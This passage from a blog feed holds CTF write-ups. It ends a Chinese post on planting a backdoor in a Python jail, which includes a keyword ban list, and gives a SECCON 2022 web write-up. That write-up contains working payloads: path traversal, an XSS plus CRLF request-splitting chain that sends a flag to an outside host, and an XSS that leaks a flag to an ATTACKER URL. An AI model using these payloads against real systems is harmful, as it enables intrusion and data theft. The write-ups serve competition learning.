code&#xFF0C;&#x5728;&#x5F8C;&#x5E7E;&#x8F2A;&#x88AB;&#x6253;&#x6578;&#x91CF; &lt; 5...</p><p>&#x883B;&#x610F;&#x5916;&#x7684;&#x662F;&#x5927;&#x591A;&#x6578;&#x968A;&#x4F0D;&#x90FD;&#x6C92;&#x5728; copy paste &#x5225;&#x4EBA;&#x7684; jail &#xFF0C;&#x4E0D;&#x592A;&#x61C2;&#x539F;&#x56E0;:D</p><h2 id="%E5%88%A5%E4%BA%BA%E5%8F%AF%E4%BB%A5%E7%9B%B4%E6%8E%A5-copy-paste-jail">&#x5225;&#x4EBA;&#x53EF;&#x4EE5;&#x76F4;&#x63A5; copy paste jail</h2><p>&#x9019;&#x90E8;&#x5206;&#x7684;&#x89E3;&#x6CD5;&#x5C31;&#x5F88;&#x767C;&#x6563;&#xFF0C;&#x6211;&#x6709;&#x7814;&#x7A76;&#x80FD;&#x4E0D;&#x80FD;&#x585E;&#x4E9B;&#x7279;&#x6B8A;&#x7B26;&#x865F;&#x8B93;&#x4ED6; copy paste &#x6642; panel &#x721B;&#x6389;&#xFF0C;&#x6C92;&#x627E;&#x5230;&#x597D;&#x8FA6;&#x6CD5;&#xFF1B;&#x5BEB;&#x4E00;&#x500B;&#x672C;&#x5730;&#x6E2C;&#x8A66;&#x7A0B;&#x5F0F;&#x78BA;&#x4FDD;&#x4E0A;&#x65B0; patch &#x6642;&#x81EA;&#x5DF1;&#x7684; exploit code &#x80FD;&#x901A;&#x904E;&#xFF1B;&#x6700;&#x5F8C;&#x662F;&#x593E;&#x5E36; backdoor</p><p>&#x5148;&#x63D0;&#x4E00;&#x4E0B;&#x6211;&#x539F;&#x672C;&#x60F3;&#x8AAA;&#x6DF7;&#x6DC6;&#x6C92;&#x5C41;&#x7528;&#xFF0C;&#x5F8C;&#x4F86;&#x624D;&#x60F3;&#x5230;&#x5982;&#x679C;&#x610F;&#x8B58;&#x5230;&#x53EF;&#x80FD;&#x6709; backdoor&#xFF0C;&#x6DF7;&#x6DC6;&#x5C31;&#x80FD;&#x5687;&#x963B;&#x5225;&#x4EBA; copy &#xFF0C;&#x4E0D;&#x904E;&#x9019;&#x5834;&#x6BD4;&#x8CFD;&#x5E7E;&#x4E4E;&#x6C92;&#x6709;&#x968A;&#x4F0D;&#x6709;&#x610F;&#x8B58;&#x5230; backdoor &#x9019;&#x4EF6;&#x4E8B;</p><p>backdoor &#x5145;&#x5206;&#x5229;&#x7528;&#x4E86;&#x984C;&#x76EE;&#x7684;&#x5224;&#x65B7;&#x908F;&#x8F2F;&#xFF0C;&#x524D;&#x9762;&#x63D0;&#x5230;&#x984C;&#x76EE;&#x6709;&#x5169;&#x500B;&#x60C5;&#x6CC1;&#x4E0B;&#x6703;&#x76F4;&#x63A5;&#x653E;&#x884C; 1. &#x9577;&#x5EA6;&#x8B8A;&#x52D5; &gt; 75 2. jail code crash</p><h3 id="%E9%95%B7%E5%BA%A6%E8%AE%8A%E5%8B%95-75">&#x9577;&#x5EA6;&#x8B8A;&#x52D5; &gt; 75</h3><p>&#x5728;&#x5F88;&#x65E9;&#x6211;&#x5C31;&#x6CE8;&#x610F;&#x5230;&#x6709;&#x4E9B;&#x4EBA;&#x7684; jail code &#x5BEB;&#x6CD5;&#x662F;&#x6709;&#x554F;&#x984C;&#x7684;&#xFF0C;&#x50CF;&#x662F;&#x5E38;&#x898B;&#x7684; replace</p><figure class="kg-card kg-code-card"><pre><code class="language-python">    banlist = [&apos;flag.txt&apos;, &apos;open&apos;, &apos;write&apos;, &apos;read&apos;, &apos;__builtins__&apos;, &apos;sys&apos;, &apos;system&apos;, &apos;eval&apos;, &apos;exec&apos;, &apos;pty&apos;,
               &apos;getattr&apos;, &apos;__dict__&apos;, &apos;base64&apos;, &apos;rot&apos;, &apos;get&apos;, &apos;subclass&apos;, &apos;dis&apos;, &apos;inspect&apos;, &apos;spawn&apos;, &apos;subprocess&apos;, &apos;dumps&apos;, &apos;loads&apos;,
               &apos;codecs&apos;, &apos;FileIO&apos;, &apos;timeit&apos;, &apos;commands&apos;, &apos;seek&apos;, &apos;cgi&apos;, &apos;compile&apos;, &apos;builtins&apos;]
    for word in banlist:
        code = code.replace(word, &apos;len&apos;)</code></pre><figcaption>from team 13</figcaption></figure><p>&#x653B;&#x64CA;&#x8005;&#x53EA;&#x8981;&#x91CD;&#x8907;&#x585E;&#x9019;&#x4E9B;&#x5B57;&#x773C;&#xFF0C;&#x8B93;&#x6700;&#x7D42;&#x9577;&#x5EA6;&#x8B8A;&#x5316;&#x8D85;&#x904E; 75 &#x5C31;&#x4F7F;&#x5F97; jail &#x5931;&#x6548;&#x3002;&#x4E0D;&#x904E;&#x984C;&#x76EE;&#x7684;&#x5224;&#x65B7;&#x6709;&#x9EDE;&#x5947;&#x602A;&#xFF0C;&#x6839;&#x64DA;&#x5F8C;&#x4F86;&#x91CB;&#x51FA;&#x7684;&#x984C;&#x76EE;&#x539F;&#x59CB;&#x78BC;</p><pre><code class="language-python">def apply_jail(jail: str, code: str) -&gt; bool:
    try:
        r = run(JAIL_TEMPLATE.format(jail), stdin=code)
        allow, new_code = json.loads(r.stdout.strip())
        if len(new_code) &gt; len(code) + MAX_MORE_CODE:
            return True, code
        return allow, new_code
    except:
        # allow by default
        return True, code</code></pre><p>&#x61C9;&#x8A72;&#x8981;&#x589E;&#x6E1B; 75 &#x5427;(?<br>&#x5927;&#x591A;&#x6578;&#x968A;&#x4F0D;&#x5F8C;&#x4F86;&#x90FD;&#x628A;&#x66FF;&#x63DB;&#x5B57;&#x773C;&#x66F4;&#x63DB;&#x6210; <code>len</code> &#xFF0C;&#x56E0;&#x6B64;&#x53EA;&#x6709;&#x7576;&#x95DC;&#x9375;&#x5B57;&#x662F; <code>os</code> &#x6642;&#x624D;&#x6709;&#x8FA6;&#x6CD5;&#x5229;&#x7528;</p><p>&#x57CB;&#x5F8C;&#x9580;&#x65B9;&#x6CD5;&#x5C31;&#x5F88;&#x7C21;&#x55AE;&#xFF0C;&#x8B93;&#x4E00;&#x5806;&#x66FF;&#x63DB;&#x5B57;&#x4E32;&#x662F;&#x7B49;&#x9577;&#x7684;&#xFF0C;&#x8B93;&#x67D0;&#x5E7E;&#x500B;&#x66FF;&#x63DB;&#x591A;&#x4E00;&#x6216;&#x6E1B;&#x4E00;&#x5373;&#x53EF;&#xFF0C;&#x6C92;&#x4EBA;&#x90A3;&#x9EBC;&#x9592;&#x4E00;&#x500B;&#x4E00;&#x500B;&#x6E2C;&#x9577;&#x5EA6;&#x3002; </p><h3 id="jail-code-crash">jail code crash</h3><p>&#x9019;&#x60F3;&#x6CD5;&#x662F;&#x524D;&#x9762;&#x5E7E;&#x7248; patch &#x4E0A;&#x721B;&#xFF0C;crash &#x76F4;&#x63A5;&#x901A;&#x904E; patching&#xFF0C;&#x5C0E;&#x81F4;&#x6211;&#x5011;&#x968A;&#x88AB;&#x6253;&#x7206;&#xFF0C;&#x5F8C;&#x4F86;&#x81EA;&#x5DF1;&#x5BEB;&#x672C;&#x5730;&#x7AEF;&#x6E2C;&#x8A66;&#x7A0B;&#x5F0F;&#x7279;&#x5225;&#x5075;&#x6E2C;&#x9019;&#x584A;&#xFF0C;&#x7136;&#x5F8C;&#x5728;&#x5C0F;&#x968A;&#x8A0E;&#x8AD6;&#x600E;&#x9EBC;&#x57CB; backdoor &#x6642; Entroy &#x5C31;&#x60F3;&#x5230;&#x53EF;&#x4EE5;&#x9019;&#x6A23;&#x73A9;:D</p><p>backdoor &#x5728;&#x9019;</p><figure class="kg-card kg-code-card"><pre><code class="language-python">    if &quot;readlines(&quot; in code:  # line:15
        code = code.replace(&quot;readlines()&quot;, &quot;re@dline5()&quot;)  # line:16
    if &quot;importIib&quot; in code:  # line:15
        code = re[&quot;replace&quot;](&quot;importlib()&quot;, &quot;&quot;)  # line:16
    if &quot;truncate(&quot; in code:  # line:17
        code = code.replace(&quot;try#cate()&quot;, &quot;trunc@te()&quot;)  # line:18</code></pre><figcaption>backdoor</figcaption></figure><p>&#x773C;&#x5C16;&#x4E00;&#x9EDE;&#x53EF;&#x80FD;&#x6703;&#x770B;&#x5230; <code>importIib</code> &#x6253;&#x932F;&#x4E86;&#xFF0C;&#x771F;&#x6B63;&#x7684;&#x554F;&#x984C;&#x662F;&#x5728; <code>re[&quot;replace&quot;]</code> &#xFF0C;&#x6C92;&#x8FA6;&#x6CD5;&#x9019;&#x6A23;&#x5B58;&#x53D6; module attribute&#xFF0C;&#x6703;&#x76F4;&#x63A5; throw exception &#x5C0E;&#x81F4; crash&#x3002;</p><p>&#x6700;&#x5F8C;&#x90A3;&#x4E9B; copy paste &#x7684;&#x968A;&#x4F0D;&#x90FD;&#x6C92;&#x6709;&#x62D4;&#x6389;&#x9019;&#x500B; backdoor :D</p><p>&#x6709;&#x4E00;&#x500B;&#x60F3;&#x5230;&#x4F46;&#x6C92;&#x8A66;&#x7684; ReDos backdoor&#xFF0C;&#x8981;&#x611B;&#x8B77; server&#x3002;</p><h1 id="%E7%B5%90%E8%AA%9E">&#x7D50;&#x8A9E;</h1><p>&#x5176;&#x5BE6;&#x1F341; <s>splitline (&#x61C9;&#x8A72;&#x662F;&#x3105;&#xFF0C;&#x90A3;&#x9EBC;&#x60E1;&#x8DA3;&#x5473;)</s>&#x628A; 87% &#x7E5E;&#x904E;&#x6280;&#x5DE7;&#x63D0;&#x793A;&#x90FD;&#x653E;&#x5728; random_math.py&#xFF0C;&#x90A3;&#x500B;&#x4E00;&#x958B;&#x59CB;&#x5C31;&#x7D66;&#x552F;&#x4E00;&#x516C;&#x958B;&#x7684;&#x90A3;&#x4EFD; example code&#x3002;</p><p>&#x6211;&#x9084;&#x662F;&#x4E0D;&#x6703;&#x7E5E;&#x6B63;&#x898F; python jail&#xFF0C;&#x5F97;&#x7814;&#x7A76;&#x4E00;&#x4E0B; QQ</p>]]></content:encoded></item><item><title><![CDATA[2022 SECCON CTF Quals WriteUps]]></title><description><![CDATA[<p>This CTF is my First one after I join Balsn, and this writeup is my first one in full english.</p><p>Balsn get the 16th place at the end.</p><p>I solved some web challenges with my idol ginoah. The challenges are awesome!</p><h1 id="web">web</h1><h2 id="skipinx">skipinx</h2><p>This challenge is solved by teamate <strong><strong>Peter</strong></strong></p>]]></description><link>https://blog.cjis.ooo/2022-seccon-ctf-quals/</link><guid isPermaLink="false">637249903ae52c0001cd60c3</guid><category><![CDATA[writeup]]></category><dc:creator><![CDATA[cjiso1117]]></dc:creator><pubDate>Mon, 14 Nov 2022 19:03:36 GMT</pubDate><content:encoded><![CDATA[<p>This CTF is my First one after I join Balsn, and this writeup is my first one in full english.</p><p>Balsn get the 16th place at the end.</p><p>I solved some web challenges with my idol ginoah. The challenges are awesome!</p><h1 id="web">web</h1><h2 id="skipinx">skipinx</h2><p>This challenge is solved by teamate <strong><strong>Peter Cheng</strong> . </strong>I reviewed it after the contest.</p><p>There is an nginx before the express.js server, and it pass non-urldecoded query string to the express.js server.</p><pre><code class="language-nginx">  location / {
    set $args &quot;${args}&amp;proxy=nginx&quot;;
    proxy_pass http://web:3000;
  }</code></pre><p>The web server will return flag only if &#xA0;<code>req.query.proxy</code> not include <code>nginx</code></p><pre><code class="language-javascript">  req.query.proxy.includes(&apos;nginx&apos;)
    ? res.status(400).send(&apos;Access here directly, not via nginx :(&apos;)
    : res.send(`Congratz! You got a flag: ${FLAG}`)</code></pre><p>According to <a href="https://github.com/ljharb/qs/blob/main/dist/qs.js?ref=blog.cjis.ooo#L60">code</a> found by Peter Cheng, the <code>qs</code> module, which express.js parse query string with, will only deal with first 1000 parameters, and the remain query string is ignored in <code>req.query</code>. Thus, we can pass a query string with more than 1000 parameters, and the last part <code>proxy=nginx</code> keep unparsed.</p><p><code>curl $(python -c &apos;print(&quot;<a href="http://localhost:7777/?%22+%22proxy=%22+%22q%22*1000+%22&amp;a=b%22*998+%22&amp;c=d&amp;ref=blog.cjis.ooo">http://target/?&quot;+&quot;proxy=&quot;+&quot;q&quot;*1000+&quot;&amp;a=b&quot;*998+&quot;&amp;c=d</a>&quot;)&apos;)</code></p><h2 id="easylfi">easylfi</h2><p>The goal is to LFI <code>/flag.txt</code> </p><p>This flask app use curl to get a local file</p><pre><code class="language-python">        proc = subprocess.run(
            [&quot;curl&quot;, f&quot;file://{os.getcwd()}/public/{filename}&quot;],
            capture_output=True,
            timeout=1,
        )</code></pre><p>where filename is a path parameter</p><pre><code>@app.route(&quot;/&quot;)
@app.route(&quot;/&lt;path:filename&gt;&quot;)
def index(filename: str = &quot;index.html&quot;):</code></pre><p>Apparently, we need to traverse like <code>../../../../flag.txt</code></p><p>There are two WAFs. The first one filter filename with <code>%</code> or <code>..</code></p><pre><code>    if &quot;..&quot; in filename or &quot;%&quot; in filename:
        return &quot;Do not try path traversal :(&quot;</code></pre><p>Here, we use <a href="https://everything.curl.dev/cmdline/globbing?ref=blog.cjis.ooo">URL globbing</a> to bypass the first WAF. <code>{.}{.}/</code> equals to <code>../</code> , so</p><p>we can access flag.txt with <code>{.}{.}/{.}{.}/flag.txt</code> </p><p>The second WAF filter any response with content <code>SECCON</code> </p><pre><code class="language-python">@app.after_request
def waf(response: Response):
    if b&quot;SECCON&quot; in b&quot;&quot;.join(response.response):
        return Response(b&quot;Try harder&quot;)
    return response</code></pre><p>I found a logic flaw in <code>validate</code> func used by custom <code>template</code> func. We can substitue any string for <code>{</code> , though the function is intented to allow only keys like <code>{...}</code> </p><pre><code>    for i, c in enumerate(key):
        if i == 0:
            is_valid &amp;= c == &quot;{&quot;
        elif i == len(key) - 1:
            is_valid &amp;= c == &quot;}&quot;
        else:
            is_valid &amp;= c != &quot;{&quot; and c != &quot;}&quot;</code></pre><p>But there&apos;s still a problem. We can only replace one <code>{</code> now, and it is not enough to enclose <code>SECCON</code> in curly brackets. </p><p>ginoah found that we can use <code>{.,.}</code> to make the filename we curl reflected in the output. e.g. </p><pre><code>$ curl &apos;file:///app/public/{.}{.}/{.}{.}/flag.tx{\{,t}&apos;
--_curl_--file:///app/public/../../flag.tx{
--_curl_--file:///app/public/../../flag.txt
SECCON{dummydummy}</code></pre><p>Now we have two <code>{</code> , we can replace the output twice to eliminate string <code>SECCON</code> by <code>GET /{.}{.}/{.}{.}/flag.tx{\{,t}?{=}{&amp;{%0a--</code><em><code>curl</code></em><code>--file:///app/public/../../flag.txt%0aSECCON}=FLAG</code></p><p>The original solution by ginoah is trickier and shorter than it. We can use query string in <code>file://</code> protocol, though it takes no effect. &#xA0;The query string is revealed in the output e.g.</p><pre><code>$ curl &apos;file:///app/public/{.}{.}/{.}{.,.}/flag.txt?\{&apos;
--_curl_--file:///app/public/../../flag.txt?{
SECCON{dummydummy}
--_curl_--file:///app/public/../../flag.txt?{
SECCON{dummydummy}</code></pre><p>Then, we can get the flag by</p><p><code>GET /{.}{.}/{.}{.}/{.}{.,.}/flag.txt%3f\{?{=}{&amp;{%0aSECCON}=x</code></p><h2 id="bffcalc">bffcalc</h2><p>The service is full of proxies and composed of five components - <code>nginx, bff, backend, report, bot</code>. I conclude that the normal user can use service in two way.</p><p>First way is normal browsing <code>nginx URL / -&gt; bff cherrypy proxies -&gt; backend evalute parameter &apos;expr&apos; and return</code> .</p><p>Another way is triggered by bot <code>nginx URL /report -&gt; report send to -&gt; bot emulate as normal user, set cookie in site &apos;nginx:3000&apos; and browse -&gt; nginx URL / -&gt; ...</code> </p><p>There is an apparent XSS without any limitation when <code>bot</code> browsing <code>http://nginx:3000</code> with provided <code>expr</code>, but we cannot access flag via only XSS since the FLAG is set in cookie with HTTPOnly flag. </p><p>The <code>bff&lt;-&gt;backend</code> proxy communication is implemented by custom socket, &#xA0;and it is apparently full of flaw. &#xA0;The &#xA0;first flaw is that cherrypy doesn&apos;t do urldecode for <code>req.path_info</code> , so we have a CRLF injection in bff.</p><figure class="kg-card kg-code-card"><pre><code class="language-python">method = req.method
path = req.path_info
if req.query_string:
    path += &quot;?&quot; + req.query_string
payload += f&quot;{method} {path} HTTP/1.1\r\n&quot;
</code></pre><figcaption>bff/app.py</figcaption></figure><p>The second flaw is that custom socket recv at most 4096 bytes, then we have a HTTP Request Splitting. We can CRLF injection request and recieve all response at once.</p><figure class="kg-card kg-code-card"><pre><code>    try:
        data = sock.recv(4096)
        body = data.split(b&quot;\r\n\r\n&quot;, 1)[1].decode()</code></pre><figcaption>bff/app.py</figcaption></figure><p>It is important that <code>bff</code> can only get <code>expr</code> &#xA0;from query string, but <code>backend</code> can get <code>expr</code> from both body and query string. And if length of <code>expr</code> is more than 50, <code>backend</code> just return it without eval. (This is also why a XSS occured.) </p><figure class="kg-card kg-code-card"><pre><code>class Root(object):
    ALLOWED_CHARS = &quot;0123456789+-*/ &quot;

    @cherrypy.expose
    def default(self, *args, **kwargs):
        expr = str(kwargs.get(&quot;expr&quot;, 42))</code></pre><figcaption>backend/app.py</figcaption></figure><p> Thus, the attack chain is XSS -&gt; CRLF Injection POST request-&gt; steal header behind <code>expr</code> in body -&gt; <code>backend</code> reflect <code>expr</code> &#xA0;-&gt; recieve all response at once -&gt; XSS to send out the FLAG. It works in my computer :D</p><p>Unfortunately, it doesn&apos;t work at remote. It stop at <code>User-agent: ...X11</code> After hours of debug, a bright idea suddenly occurs (called &#x901A;&#x9748; in chinese). We &#xA0;guess cherrypy parses body not only by <code>&amp;</code> , but also by<code>;</code> . And it does. Remember that we can only get back the content in <code>expr</code> , and it is truncated by <code>;</code> after <code>X11</code> ;_;. We found there are two <code>;</code> after <code>expr</code>, one is in <code>User-agent</code> , and the other is in <code>Accept-language</code></p><p>For security reason, chrome disallow user to change some of headers, and <code>User-agent</code> is one of those, but <code>Accept-Lanuage</code> is not. We overwrite <code>Accept-Lanuage</code>, and set a custom header, which is located after <code>User-agent</code>. Thus, we can steal content after <code>User-agent</code>.</p><p>This is the final payload. </p><pre><code>POST /report HTTP/1.1
Host: bffcalc.seccon.games:3000
Content-Length: 553
Content-Type: application/x-www-form-urlencoded

expr=%3Cimg+src%3Dx+onerror%3D%22fetch%28%27http%3A%2F%2Fnginx%3A3000%2Fapi%2520HTTP%2F1.1%250d%250aConnection:keep-alive%250d%250aHost%3Anginx%3A3000%250d%250a%250d%250aPOST%2520%2F%2520HTTP%2F1.1%250d%250aHost%3Alocalhost%3A3000%250d%250aContent-type%3Aapplication%2Fx-www-form-urlencoded%250d%250aContent-length%3A475%250d%250a%250d%250aexpr%3d%27,{headers:{aaa:&apos;%3bexpr%3d&apos;,&apos;Accept-Language&apos;:&apos;en-us&apos;}}%29.then%28r%3D%3E%28r.text%28%29%29%29.then%28r%3D%3E%7Blocation.href%3D%27http%3A%2F%2Fcjis.ooo%3A4445%2F%27%2Bbtoa%28r%29%7D%29%22%3E%3C%2Fimg%3E</code></pre><h2 id="piyosay">piyosay</h2><p>This was solved by ginoah when i was asleep.</p><p>It is a XSS challenge, and FLAG is set in Cookie without HTTPOnly.</p><p>We can control two parameter <code>message</code> and <code>emoji</code>, and any assignment to innerHTML will be applied with trustedTypes default policy</p><pre><code class="language-javascript">    trustedTypes.createPolicy(&quot;default&quot;, {
      createHTML: (unsafe) =&gt; {
        return DOMPurify.sanitize(unsafe)
          .replace(/SECCON{.+}/g, () =&gt; {
            // Delete a secret in RegExp
            &quot;&quot;.match(/^$/);
            return &quot;SECCON{REDACTED}&quot;;
          });
      },
    });</code></pre><p>It sanitize input and replace any string like <code>/SECCON{.+}/g</code> . And also do regex again to clean up secret in RegExp like <code>RegExp.$_, RegExp.[&apos;$+&apos;]...</code> .</p><p>Cookie is appended after <code>message</code> and deleted immediately. &#xA0;Assign <code>message.innerHTML</code> with santized <code>message</code> and then assign again with sanitized and replaced <code>emoji</code> . </p><pre><code class="language-javascript">const main = async () =&gt; {
const params = new URLSearchParams(location.search);

const message = `${params.get(&quot;message&quot;)}${
document.cookie.split(&quot;FLAG=&quot;)[1] ?? &quot;SECCON{dummy}&quot;
}`;
// Delete a secret in document.cookie
document.cookie = &quot;FLAG=; expires=Thu, 01 Jan 1970 00:00:00 GMT&quot;;
get(&quot;message&quot;).innerHTML = message;

const emoji = get(params.get(&quot;emoji&quot;));
get(&quot;message&quot;).innerHTML = get(&quot;message&quot;).innerHTML.replace(/{{emoji}}/g, emoji);
};</code></pre><p><code>get</code> func has a apparent object traversal problem when input is controllable, just like <code>const emoji = get(params.get(&quot;emoji&quot;));</code> . And everyone knows, we can traverse any <code>Node</code> element to <code>document</code> via <code>ownerDocument</code> and any <code>Document</code> element to <code>window</code> via <code>defaultView</code> .</p><pre><code>const get = (path) =&gt; {
	return path.split(&quot;/&quot;).reduce((obj, key) =&gt; obj[key], document.all);
};</code></pre><p>So, what should we traverse to via <code>emoji</code> to get back our eliminated FLAG?</p><p>ginoah found that <a href="https://github.com/cure53/DOMPurify?ref=blog.cjis.ooo#okay-makes-sense-lets-move-on">DOMPurify will saved removed part</a> in <code>DOMPurify.removed</code> . And we trick DOMPurify to remove <code>SECCON{.+}</code> before it is replaced. Set <code>message=&lt;img src=http://attacker/{{emoji}}&gt;&lt;script&gt;</code> and we get back FLAG via <code>emoji=0/ownerDocument/defaultView/DOMPurify/removed/0/element/innerText/${i}</code> . It replace <code>{{emoji}}</code> with the i-th char of FLAG, so we can leak FLAG char by char.</p><p>Final payload.</p><pre><code>http://target/result?emoji=0/ownerDocument/defaultView/DOMPurify/removed/0/element/innerText/${i}&amp;message=%3Cimg%20src=http://ATTACKER/{{emoji}}%3E%3Csciprt%3E</code></pre><p>There are some interesting solution from others writeups. </p><p>@huli use the trick that when parent and <code>iframe</code> are cross-site, <code>iframe</code>cannot manipulate <code>document.cookie</code> , no matter read/write. &#xA0;Then get FLAG from <code>top.opener.document.cookie</code> </p><p>@tyage use an apparent(?) XSS payload and also the immutable cookie trick in <code>iframe</code> . My ancestor said that it is dangerous to do any string manipulation after DOMPurify.sanitize, and we just overlook it lol. </p>]]></content:encoded></item></channel></rss>